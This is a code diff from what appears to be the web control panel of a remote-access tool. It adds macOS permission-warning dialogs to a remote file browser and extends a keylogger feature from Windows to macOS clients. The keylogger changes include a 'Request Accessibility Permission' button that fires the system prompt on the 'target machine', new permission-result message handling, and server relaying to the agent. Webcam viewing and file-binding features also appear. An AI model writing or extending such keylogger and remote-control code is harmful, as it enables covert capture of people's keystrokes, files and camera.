backBtn.classList.toggle("cursor-not-allowed", pathHistory.length === 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
function goBack() {
|
async function goBack() {
|
||||||
if (pathHistory.length > 0) {
|
if (pathHistory.length > 0) {
|
||||||
const previousPath = pathHistory.pop();
|
const previousPath = pathHistory[pathHistory.length - 1];
|
||||||
currentPath = previousPath;
|
const ok = await listFiles(previousPath, ws, { skipHistory: true });
|
||||||
send({ type: "file_list", path: previousPath });
|
if (ok) {
|
||||||
updateBreadcrumb(previousPath);
|
pathHistory.pop();
|
||||||
updatePathInput(previousPath);
|
}
|
||||||
updateBackButton();
|
updateBackButton();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function loadMacPermissionAllowedPaths() {
|
||||||
|
try {
|
||||||
|
const raw = sessionStorage.getItem(MAC_PERMISSION_STORAGE_KEY);
|
||||||
|
const parsed = raw ? JSON.parse(raw) : [];
|
||||||
|
if (!Array.isArray(parsed)) return [];
|
||||||
|
return parsed.filter((p) => typeof p === "string" && p.trim());
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function persistMacPermissionAllowedPaths() {
|
||||||
|
try {
|
||||||
|
sessionStorage.setItem(
|
||||||
|
MAC_PERMISSION_STORAGE_KEY,
|
||||||
|
JSON.stringify(Array.from(macPermissionAllowedPaths)),
|
||||||
|
);
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
function normalizeMacPath(path) {
|
||||||
|
const raw = String(path || "").trim();
|
||||||
|
if (!raw || raw === ".") return raw;
|
||||||
|
let normalized = raw.replace(/\\/g, "/");
|
||||||
|
if (normalized === "~" && detectedHomePath) normalized = detectedHomePath;
|
||||||
|
if (normalized.startsWith("~/") && detectedHomePath) {
|
||||||
|
normalized = detectedHomePath + normalized.slice(1);
|
||||||
|
}
|
||||||
|
normalized = normalized.replace(/\/+/g, "/");
|
||||||
|
if (normalized.length > 1) normalized = normalized.replace(/\/+$/, "");
|
||||||
|
return normalized;
|
||||||
|
}
|
||||||
|
|
||||||
|
function isSameOrChildPath(path, root) {
|
||||||
|
if (!path || !root) return false;
|
||||||
|
return path === root || path.startsWith(root + "/");
|
||||||
|
}
|
||||||
|
|
||||||
|
function markMacPermissionAllowed(path) {
|
||||||
|
const normalized = normalizeMacPath(path);
|
||||||
|
if (!normalized || normalized === ".") return;
|
||||||
|
const macStylePath = normalized.startsWith("/Users/") ||
|
||||||
|
normalized === "/Volumes" ||
|
||||||
|
normalized.startsWith("/Volumes/") ||
|
||||||
|
normalized === "/Network" ||
|
||||||
|
normalized.startsWith("/Network/");
|
||||||
|
if (detectedOS !== "mac" && !(detectedOS === "" && macStylePath)) return;
|
||||||
|
macPermissionAllowedPaths.add(normalized);
|
||||||
|
persistMacPermissionAllowedPaths();
|
||||||
|
}
|
||||||
|
|
||||||
|
function hasMacPermissionAllowedAncestor(path) {
|
||||||
|
const normalized = normalizeMacPath(path);
|
||||||
|
for (const allowed of macPermissionAllowedPaths) {
|
||||||
|
if (isSameOrChildPath(normalized, allowed)) return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
function macPermissionRiskForPath(path) {
|
||||||
|
const normalized = normalizeMacPath(path);
|
||||||
|
if (!normalized || normalized === "." || hasMacPermissionAllowedAncestor(normalized)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
const maybeMac = detectedOS === "mac" || (!detectedOS && normalized.startsWith("/Users/"));
|
||||||
|
if (!maybeMac) return null;
|
||||||
|
|
||||||
|
let home = normalizeMacPath(detectedHomePath);
|
||||||
|
if (!home) {
|
||||||
|
const homeMatch = normalized.match(/^(\/Users\/[^/]+)/);
|
||||||
|
if (homeMatch) home = homeMatch[1];
|
||||||
|
}
|
||||||
|
const protectedRoots = [];
|
||||||
|
if (home) {
|
||||||
|
for (const name of ["Desktop", "Documents", "Downloads", "Pictures", "Movies", "Music"]) {
|
||||||
|
protectedRoots.push({ root: `${home}/${name}`, label: name });
|
||||||
|
}
|
||||||
|
protectedRoots.push(
|
||||||
|
{ root: `${home}/Library/Mobile Documents`, label: "iCloud Drive" },
|
||||||
|
{ root: `${home}/Library/Mail`, label: "Mail data" },
|
||||||
|
{ root: `${home}/Library/Messages`, label: "Messages data" },
|
||||||
|
{ root: `${home}/Library/Safari`, label: "Safari data" },
|
||||||
|
{ root: `${home}/Library/Calendars`, label: "Calendar data" },
|
||||||
|
{ root: `${home}/Library/Application Support/AddressBook`, label: "Contacts data" },
|
||||||
|
);
|
||||||
|
}
|
||||||
|
protectedRoots.push(
|
||||||
|
{ root: "/Volumes", label: "removable or network volume" },
|
||||||
|
{ root: "/Network", label: "network location" },
|
||||||
|
);
|
||||||
|
|
||||||
|
const match = protectedRoots.find((item) => isSameOrChildPath(normalized, item.root));
|
||||||
|
if (!match) return null;
|
||||||
|
const cachePath = match.root === "/Volumes" || match.root === "/Network"
|
||||||
|
? normalized
|
||||||
|
: match.root;
|
||||||
|
return { ...match, path: normalized, cachePath };
|
||||||
|
}
|
||||||
|
|
||||||
|
function showMacPermissionWarning(risk, operation) {
|
||||||
|
return new Promise((resolve) => {
|
||||||
|
const modal = document.createElement("div");
|
||||||
|
let onKeyDown = null;
|
||||||
|
let settled = false;
|
||||||
|
modal.className = "fixed inset-0 z-[2400] flex items-center justify-center bg-black/70 px-4";
|
||||||
|
modal.innerHTML = `
|
||||||
|
<div class="w-full max-w-md rounded-lg border border-amber-500/40 bg-slate-900 shadow-2xl">
|
||||||
|
<div class="px-4 py-3 border-b border-slate-700 flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-triangle-exclamation text-amber-300"></i>
|
||||||
|
<div class="font-semibold text-slate-100">macOS Permission May Appear</div>
|
||||||
|
</div>
|
||||||
|
<div class="px-4 py-4 text-sm text-slate-300 space-y-3">
|
||||||
|
<p>${escapeHtml(operation)} <span class="font-mono text-slate-100 break-all">${escapeHtml(risk.path)}</span> may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.</p>
|
||||||
|
<p class="text-xs text-slate-400">Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.</p>
|
||||||
|
</div>
|
||||||
|
<div class="px-4 py-3 border-t border-slate-700 flex justify-end gap-2">
|
||||||
|
<button type="button" data-mac-permission-cancel class="px-3 py-2 rounded bg-slate-700 hover:bg-slate-600 text-sm text-slate-100">Cancel</button>
|
||||||
|
<button type="button" data-mac-permission-continue class="px-3 py-2 rounded bg-amber-500 hover:bg-amber-400 text-sm font-semibold text-slate-950">Continue</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
const cleanup = (answer) => {
|
||||||
|
if (settled) return;
|
||||||
|
settled = true;
|
||||||
|
if (onKeyDown) document.removeEventListener("keydown", onKeyDown);
|
||||||
|
modal.remove();
|
||||||
|
resolve(answer);
|
||||||
|
};
|
||||||
|
modal.querySelector("[data-mac-permission-cancel]")?.addEventListener("click", () => cleanup(false));
|
||||||
|
modal.querySelector("[data-mac-permission-continue]")?.addEventListener("click", () => cleanup(true));
|
||||||
|
modal.addEventListener("click", (e) => {
|
||||||
|
if (e.target === modal) cleanup(false);
|
||||||
|
});
|
||||||
|
onKeyDown = (e) => {
|
||||||
|
if (e.key !== "Escape") return;
|
||||||
|
cleanup(false);
|
||||||
|
};
|
||||||
|
document.addEventListener("keydown", onKeyDown);
|
||||||
|
document.body.appendChild(modal);
|
||||||
|
modal.querySelector("[data-mac-permission-continue]")?.focus();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function confirmMacPermissionRisk(path, operation = "access") {
|
||||||
|
const risk = macPermissionRiskForPath(path);
|
||||||
|
if (!risk) return true;
|
||||||
|
const ok = await showMacPermissionWarning(risk, operation);
|
||||||
|
if (!ok) {
|
||||||
|
notifyToast("Operation cancelled before macOS permission prompt", "info", 2500);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
markMacPermissionAllowed(risk.cachePath || risk.root || risk.path);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
function goHome() {
|
function goHome() {
|
||||||
pathHistory = [];
|
listFiles(".", ws, { resetHistory: true });
|
||||||
listFiles(".");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function updateBreadcrumb(path) {
|
function updateBreadcrumb(path) {
|
||||||
@@ -371,6 +535,7 @@ const filePreviewModalManager = createFilePreviewModal({
|
|||||||
clientId,
|
clientId,
|
||||||
notifyToast,
|
notifyToast,
|
||||||
onDownload: (path) => downloadFile(path),
|
onDownload: (path) => downloadFile(path),
|
||||||
|
beforeFileRead: (path, operation) => confirmMacPermissionRisk(path, operation),
|
||||||
});
|
});
|
||||||
let openFilePreview = filePreviewModalManager.openFilePreview;
|
let openFilePreview = filePreviewModalManager.openFilePreview;
|
||||||
const transferPanelManager = createTransferPanel({
|
const transferPanelManager = createTransferPanel({
|
||||||
@@ -1111,6 +1276,7 @@ function handleFileList(msg) {
|
|||||||
clearPreviewPane();
|
clearPreviewPane();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
markMacPermissionAllowed(currentPath);
|
||||||
selectedFiles.clear();
|
selectedFiles.clear();
|
||||||
updateSelectionUI();
|
updateSelectionUI();
|
||||||
renderCurrentDirectory();
|
renderCurrentDirectory();
|
||||||
@@ -1256,18 +1422,18 @@ function createFileRow(entry) {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
row.ondblclick = (e) => {
|
row.ondblclick = async (e) => {
|
||||||
if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) {
|
if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
if (entry.isDir) {
|
if (entry.isDir) {
|
||||||
listFiles(entry.path);
|
listFiles(entry.path);
|
||||||
} else if (isPreviewable(entry.name)) {
|
} else if (isPreviewable(entry.name)) {
|
||||||
openFilePreview(entry.path, entry.size);
|
await openFilePreview(entry.path, entry.size);
|
||||||
} else if (KNOWN_BINARY_EXTS.has(getFileExt(entry.name))) {
|
} else if (KNOWN_BINARY_EXTS.has(getFileExt(entry.name))) {
|
||||||
openHexViewer(entry.path);
|
await openHexViewer(entry.path);
|
||||||
} else {
|
} else {
|
||||||
openFileInEditor(entry.path);
|
await openFileInEditor(entry.path);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -1430,7 +1596,8 @@ function handleFileAction(action, entry) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function downloadFile(path) {
|
async function downloadFile(path) {
|
||||||
|
if (!(await confirmMacPermissionRisk(path, "download file"))) return;
|
||||||
console.log("Requesting download:", path);
|
console.log("Requesting download:", path);
|
||||||
const transferId = `download-${Date.now()}-${Math.random()}`;
|
const transferId = `download-${Date.now()}-${Math.random()}`;
|
||||||
const fileName = path.split(/[\/\\]/).pop();
|
const fileName = path.split(/[\/\\]/).pop();
|
||||||
@@ -1657,6 +1824,7 @@ function downloadFile(path) {
|
|||||||
total: transfer.total,
|
total: transfer.total,
|
||||||
streamedToDisk: usedStreamToDisk,
|
streamedToDisk: usedStreamToDisk,
|
||||||
});
|
});
|
||||||
|
markMacPermissionAllowed(path);
|
||||||
removeTransfer(transferId);
|
removeTransfer(transferId);
|
||||||
fileDownloads.delete(path);
|
fileDownloads.delete(path);
|
||||||
updateStatus("connected", "Connected");
|
updateStatus("connected", "Connected");
|
||||||
@@ -1873,13 +2041,15 @@ function handleFileDownload(msg) {
|
|||||||
URL.revokeObjectURL(url);
|
URL.revokeObjectURL(url);
|
||||||
|
|
||||||
console.log("Download complete:", msg.path, `${download.received} bytes`);
|
console.log("Download complete:", msg.path, `${download.received} bytes`);
|
||||||
|
markMacPermissionAllowed(msg.path);
|
||||||
removeTransfer(download.id);
|
removeTransfer(download.id);
|
||||||
fileDownloads.delete(msg.path);
|
fileDownloads.delete(msg.path);
|
||||||
updateStatus("connected", "Connected");
|
updateStatus("connected", "Connected");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
function zipAndDownload(path) {
|
async function zipAndDownload(path) {
|
||||||
|
if (!(await confirmMacPermissionRisk(path, "read folder"))) return;
|
||||||
console.log("Requesting zip:", path);
|
console.log("Requesting zip:", path);
|
||||||
|
|
||||||
const zipPath = path + ".zip";
|
const zipPath = path + ".zip";
|
||||||
@@ -2652,8 +2822,7 @@ homeBtn.onclick = () => goHome();
|
|||||||
pathGoBtn.onclick = () => {
|
pathGoBtn.onclick = () => {
|
||||||
const path = pathInput.value.trim();
|
const path = pathInput.value.trim();
|
||||||
if (path) {
|
if (path) {
|
||||||
pathHistory = [];
|
listFiles(path, ws, { resetHistory: true });
|
||||||
listFiles(path);
|
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -2661,8 +2830,7 @@ pathInput.onkeydown = (e) => {
|
|||||||
if (e.key === "Enter") {
|
if (e.key === "Enter") {
|
||||||
const path = pathInput.value.trim();
|
const path = pathInput.value.trim();
|
||||||
if (path) {
|
if (path) {
|
||||||
pathHistory = [];
|
listFiles(path, ws, { resetHistory: true });
|
||||||
listFiles(path);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
@@ -2793,6 +2961,7 @@ const fileHexHashManager = createFileHexHashManager({
|
|||||||
send,
|
send,
|
||||||
notifyToast,
|
notifyToast,
|
||||||
getCurrentPreviewEntry: () => currentPreviewEntry,
|
getCurrentPreviewEntry: () => currentPreviewEntry,
|
||||||
|
beforeFileRead: (path, operation) => confirmMacPermissionRisk(path, operation),
|
||||||
});
|
});
|
||||||
const {
|
const {
|
||||||
handleFileHashResult,
|
handleFileHashResult,
|
||||||
@@ -3201,12 +3370,12 @@ function handleFileSearchResult(msg) {
|
|||||||
</div>
|
</div>
|
||||||
`;
|
`;
|
||||||
|
|
||||||
row.onclick = () => {
|
row.onclick = async () => {
|
||||||
const resultName = result.path.split(/[\/\\]/).pop() || "";
|
const resultName = result.path.split(/[\/\\]/).pop() || "";
|
||||||
if (isPreviewable(resultName)) {
|
if (isPreviewable(resultName)) {
|
||||||
openFilePreview(result.path);
|
await openFilePreview(result.path);
|
||||||
} else {
|
} else {
|
||||||
openFileInEditor(result.path);
|
await openFileInEditor(result.path);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -3214,7 +3383,8 @@ function handleFileSearchResult(msg) {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
function openFileInEditor(path) {
|
async function openFileInEditor(path) {
|
||||||
|
if (!(await confirmMacPermissionRisk(path, "read file"))) return;
|
||||||
const cmdId = `file-read-${Date.now()}`;
|
const cmdId = `file-read-${Date.now()}`;
|
||||||
const msg = {
|
const msg = {
|
||||||
type: "command",
|
type: "command",
|
||||||
@@ -3259,6 +3429,8 @@ function handleFileReadResult(msg) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
markMacPermissionAllowed(msg.path);
|
||||||
|
|
||||||
if (msg.isBinary) {
|
if (msg.isBinary) {
|
||||||
notifyToast("Binary file — use Download to save it", "info", 3000);
|
notifyToast("Binary file — use Download to save it", "info", 3000);
|
||||||
closeEditor();
|
closeEditor();
|
||||||
|
|||||||
@@ -10,6 +10,10 @@ if (!clientId) {
|
|||||||
const clientLabel = document.getElementById("clientLabel");
|
const clientLabel = document.getElementById("clientLabel");
|
||||||
const statusPill = document.getElementById("status-pill");
|
const statusPill = document.getElementById("status-pill");
|
||||||
const fileList = document.getElementById("file-list");
|
const fileList = document.getElementById("file-list");
|
||||||
|
const fileListPanel = document.getElementById("file-list-panel");
|
||||||
|
const permissionGate = document.getElementById("permission-gate");
|
||||||
|
const permissionStatus = document.getElementById("permission-status");
|
||||||
|
const requestPermissionBtn = document.getElementById("requestPermissionBtn");
|
||||||
const refreshBtn = document.getElementById("refreshBtn");
|
const refreshBtn = document.getElementById("refreshBtn");
|
||||||
const clearBtn = document.getElementById("clearBtn");
|
const clearBtn = document.getElementById("clearBtn");
|
||||||
const logViewer = document.getElementById("log-viewer");
|
const logViewer = document.getElementById("log-viewer");
|
||||||
@@ -43,6 +47,8 @@ let searchMatches = [];
|
|||||||
let currentMatchIndex = -1;
|
let currentMatchIndex = -1;
|
||||||
let globalSearchCache = new Map();
|
let globalSearchCache = new Map();
|
||||||
let globalSearchAbortController = null;
|
let globalSearchAbortController = null;
|
||||||
|
let clientOs = ""; // filled from the "ready" message
|
||||||
|
let needsPermissionGate = false; // true for darwin/mac clients
|
||||||
|
|
||||||
clientLabel.textContent = clientId;
|
clientLabel.textContent = clientId;
|
||||||
|
|
||||||
@@ -61,7 +67,8 @@ function connect() {
|
|||||||
ws.onopen = () => {
|
ws.onopen = () => {
|
||||||
console.log("Keylogger connected");
|
console.log("Keylogger connected");
|
||||||
updateStatus("pill-online", "Connected");
|
updateStatus("pill-online", "Connected");
|
||||||
requestFileList();
|
// Do NOT request the file list here — wait for the "ready" message which
|
||||||
|
// carries clientOs so we know whether to show the macOS permission gate first.
|
||||||
};
|
};
|
||||||
|
|
||||||
ws.onmessage = (event) => {
|
ws.onmessage = (event) => {
|
||||||
@@ -91,12 +98,76 @@ function send(msg) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function isMacOs(os) {
|
||||||
|
const s = String(os || "").toLowerCase();
|
||||||
|
return s.includes("darwin") || s.includes("mac");
|
||||||
|
}
|
||||||
|
|
||||||
|
function showPermissionGate() {
|
||||||
|
permissionGate.classList.remove("hidden");
|
||||||
|
fileListPanel.classList.add("hidden");
|
||||||
|
permissionStatus.classList.add("hidden");
|
||||||
|
requestPermissionBtn.disabled = false;
|
||||||
|
requestPermissionBtn.innerHTML = '<i class="fa-solid fa-key"></i><span>Request Accessibility Permission</span>';
|
||||||
|
}
|
||||||
|
|
||||||
|
function showFileListPanel() {
|
||||||
|
permissionGate.classList.add("hidden");
|
||||||
|
fileListPanel.classList.remove("hidden");
|
||||||
|
}
|
||||||
|
|
||||||
|
function setPermissionStatus(type, text) {
|
||||||
|
// type: "success" | "error" | "pending"
|
||||||
|
permissionStatus.classList.remove("hidden", "border-green-600", "bg-green-900/30", "text-green-300",
|
||||||
|
"border-red-600", "bg-red-900/30", "text-red-300",
|
||||||
|
"border-yellow-600", "bg-yellow-900/30", "text-yellow-300");
|
||||||
|
if (type === "success") {
|
||||||
|
permissionStatus.classList.add("border-green-600", "bg-green-900/30", "text-green-300");
|
||||||
|
} else if (type === "error") {
|
||||||
|
permissionStatus.classList.add("border-red-600", "bg-red-900/30", "text-red-300");
|
||||||
|
} else {
|
||||||
|
permissionStatus.classList.add("border-yellow-600", "bg-yellow-900/30", "text-yellow-300");
|
||||||
|
}
|
||||||
|
permissionStatus.textContent = text;
|
||||||
|
}
|
||||||
|
|
||||||
function handleMessage(msg) {
|
function handleMessage(msg) {
|
||||||
console.log("Received:", msg.type);
|
console.log("Received:", msg.type);
|
||||||
|
|
||||||
switch (msg.type) {
|
switch (msg.type) {
|
||||||
case "ready":
|
case "ready":
|
||||||
console.log("Keylogger session ready");
|
clientOs = msg.clientOs || "";
|
||||||
|
needsPermissionGate = isMacOs(clientOs);
|
||||||
|
console.log("Keylogger session ready, clientOs:", clientOs, "needsPermissionGate:", needsPermissionGate);
|
||||||
|
if (needsPermissionGate) {
|
||||||
|
showPermissionGate();
|
||||||
|
} else {
|
||||||
|
showFileListPanel();
|
||||||
|
requestFileList();
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case "keylog_permission_result":
|
||||||
|
requestPermissionBtn.disabled = false;
|
||||||
|
if (msg.granted) {
|
||||||
|
setPermissionStatus("success", "Permission granted — loading logs...");
|
||||||
|
setTimeout(() => {
|
||||||
|
showFileListPanel();
|
||||||
|
requestFileList();
|
||||||
|
}, 800);
|
||||||
|
} else {
|
||||||
|
let reason;
|
||||||
|
if (msg.reason === "keylogger_disabled") {
|
||||||
|
reason = "The keylogger is not enabled in this agent build. " +
|
||||||
|
"macOS keylogger support requires CGO and must be compiled natively on macOS. " +
|
||||||
|
"Rebuild the agent on a macOS host with CGO enabled.";
|
||||||
|
} else if (msg.reason === "user_denied") {
|
||||||
|
reason = "Permission denied by the user on the target machine.";
|
||||||
|
} else {
|
||||||
|
reason = msg.reason || "Permission was not granted.";
|
||||||
|
}
|
||||||
|
setPermissionStatus("error", reason);
|
||||||
|
requestPermissionBtn.innerHTML = '<i class="fa-solid fa-key"></i><span>Try Again</span>';
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
case "status":
|
case "status":
|
||||||
if (msg.status === "offline") {
|
if (msg.status === "offline") {
|
||||||
@@ -669,6 +740,13 @@ function openFileWithSearch(filename, query, targetIndex) {
|
|||||||
}, 500);
|
}, 500);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
requestPermissionBtn.addEventListener("click", () => {
|
||||||
|
requestPermissionBtn.disabled = true;
|
||||||
|
requestPermissionBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i><span>Requesting...</span>';
|
||||||
|
setPermissionStatus("pending", "Waiting for user response on the target machine...");
|
||||||
|
send({ type: "keylog_request_permission" });
|
||||||
|
});
|
||||||
|
|
||||||
refreshBtn.addEventListener("click", () => {
|
refreshBtn.addEventListener("click", () => {
|
||||||
requestFileList();
|
requestFileList();
|
||||||
window.showToast("Refreshing file list...", "info");
|
window.showToast("Refreshing file list...", "info");
|
||||||
|
|||||||
@@ -276,10 +276,11 @@ function applyMenuSupportRules(clientId) {
|
|||||||
setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
|
setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
|
||||||
|
|
||||||
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
||||||
|
const keyloggerSupported = isWindows || platform === "mac";
|
||||||
setAvailability(
|
setAvailability(
|
||||||
keyloggerBtn,
|
keyloggerBtn,
|
||||||
isOnline && isWindows,
|
isOnline && keyloggerSupported,
|
||||||
isOnline ? "Keylogger capture is only fully supported on Windows clients." : "Client is offline",
|
isOnline ? "Keylogger is not supported on this platform." : "Client is offline",
|
||||||
);
|
);
|
||||||
|
|
||||||
const winreBtn = menu.querySelector('[data-open="winre"]');
|
const winreBtn = menu.querySelector('[data-open="winre"]');
|
||||||
|
|||||||
@@ -65,8 +65,39 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<!-- macOS Accessibility Permission Gate (hidden by default, shown for darwin clients) -->
|
||||||
|
<div
|
||||||
|
id="permission-gate"
|
||||||
|
class="hidden bg-slate-900/70 border border-yellow-600/40 rounded-lg p-6 shadow-xl text-center"
|
||||||
|
>
|
||||||
|
<div class="flex flex-col items-center gap-4">
|
||||||
|
<div class="h-16 w-16 rounded-full bg-yellow-400/10 border border-yellow-500/30 flex items-center justify-center">
|
||||||
|
<i class="fa-solid fa-lock text-yellow-400 text-2xl"></i>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h3 class="text-lg font-semibold text-slate-100 mb-1">Accessibility Permission Required</h3>
|
||||||
|
<p class="text-sm text-slate-400 max-w-md">
|
||||||
|
macOS requires Accessibility permission before keystrokes can be captured.
|
||||||
|
Clicking the button below will trigger the system permission prompt on the target machine.
|
||||||
|
</p>
|
||||||
|
<p class="text-xs text-slate-500 max-w-md">
|
||||||
|
Note: keystroke capture requires the agent to be compiled natively on macOS with CGO enabled.
|
||||||
|
Cross-compiled agents support the permission flow but will not capture keystrokes.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div id="permission-status" class="hidden text-sm px-3 py-2 rounded-lg border"></div>
|
||||||
|
<button
|
||||||
|
id="requestPermissionBtn"
|
||||||
|
class="button"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-key"></i><span>Request Accessibility Permission</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<!-- Keylog Files List -->
|
<!-- Keylog Files List -->
|
||||||
<div
|
<div
|
||||||
|
id="file-list-panel"
|
||||||
class="flex-1 bg-slate-900/70 border border-slate-800 rounded-lg p-4 overflow-auto shadow-xl"
|
class="flex-1 bg-slate-900/70 border border-slate-800 rounded-lg p-4 overflow-auto shadow-xl"
|
||||||
>
|
>
|
||||||
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
<h3 class="text-lg font-semibold mb-4 flex items-center gap-2">
|
||||||
|
|||||||
@@ -828,7 +828,7 @@ func runBoundFiles() {
|
|||||||
env.CGO_ENABLED = "0";
|
env.CGO_ENABLED = "0";
|
||||||
sendToStream({
|
sendToStream({
|
||||||
type: "output",
|
type: "output",
|
||||||
text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support.\n",
|
text: "WARNING: Cross-compiling to darwin from a non-macOS host requires an osxcross/macOS SDK toolchain, which is not bundled. Forcing CGO disabled for this target. Build natively on macOS for full CGO support (keylogger keystroke capture requires CGO).\n",
|
||||||
level: "warn",
|
level: "warn",
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -726,6 +726,7 @@ export async function handleWebSocketMessage(
|
|||||||
case "keylog_file_content":
|
case "keylog_file_content":
|
||||||
case "keylog_clear_result":
|
case "keylog_clear_result":
|
||||||
case "keylog_delete_result":
|
case "keylog_delete_result":
|
||||||
|
case "keylog_permission_result":
|
||||||
deps.handleKeyloggerMessage(client.id, payload);
|
deps.handleKeyloggerMessage(client.id, payload);
|
||||||
break;
|
break;
|
||||||
case "script_result": {
|
case "script_result": {
|
||||||
|
|||||||
@@ -447,7 +447,7 @@ export function handleKeyloggerViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
sessionManager.addKeyloggerSession(session);
|
sessionManager.addKeyloggerSession(session);
|
||||||
ws.data.sessionId = sessionId;
|
ws.data.sessionId = sessionId;
|
||||||
logger.info(`[keylogger] viewer connected session=${sessionId} client=${clientId}`);
|
logger.info(`[keylogger] viewer connected session=${sessionId} client=${clientId}`);
|
||||||
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
safeSendViewer(ws, { type: "ready", sessionId, clientId, clientOnline: !!target, clientOs: target?.os || "" });
|
||||||
if (!target) {
|
if (!target) {
|
||||||
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
safeSendViewer(ws, { type: "status", status: "offline", reason: "Client is offline", sessionId });
|
||||||
}
|
}
|
||||||
@@ -465,6 +465,12 @@ export function handleKeyloggerViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
|||||||
|
|
||||||
const commandId = uuidv4();
|
const commandId = uuidv4();
|
||||||
switch (payload.type) {
|
switch (payload.type) {
|
||||||
|
case "keylog_request_permission":
|
||||||
|
// Ask the agent to trigger the macOS accessibility permission prompt.
|
||||||
|
// On non-macOS agents this is a no-op that immediately returns granted.
|
||||||
|
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_request_permission", id: commandId } as any));
|
||||||
|
metrics.recordCommand("keylog_request_permission");
|
||||||
|
break;
|
||||||
case "keylog_list":
|
case "keylog_list":
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_list", id: commandId } as any));
|
target.ws.send(encodeMessage({ type: "command", commandType: "keylog_list", id: commandId } as any));
|
||||||
metrics.recordCommand("keylog_list");
|
metrics.recordCommand("keylog_list");
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"keylog_file_content",
|
"keylog_file_content",
|
||||||
"keylog_clear_result",
|
"keylog_clear_result",
|
||||||
"keylog_delete_result",
|
"keylog_delete_result",
|
||||||
|
"keylog_permission_result",
|
||||||
"voice_uplink",
|
"voice_uplink",
|
||||||
"desktop_audio_uplink",
|
"desktop_audio_uplink",
|
||||||
"webcam_devices",
|
"webcam_devices",
|
||||||
|
|||||||
Reference in New Issue
Block a user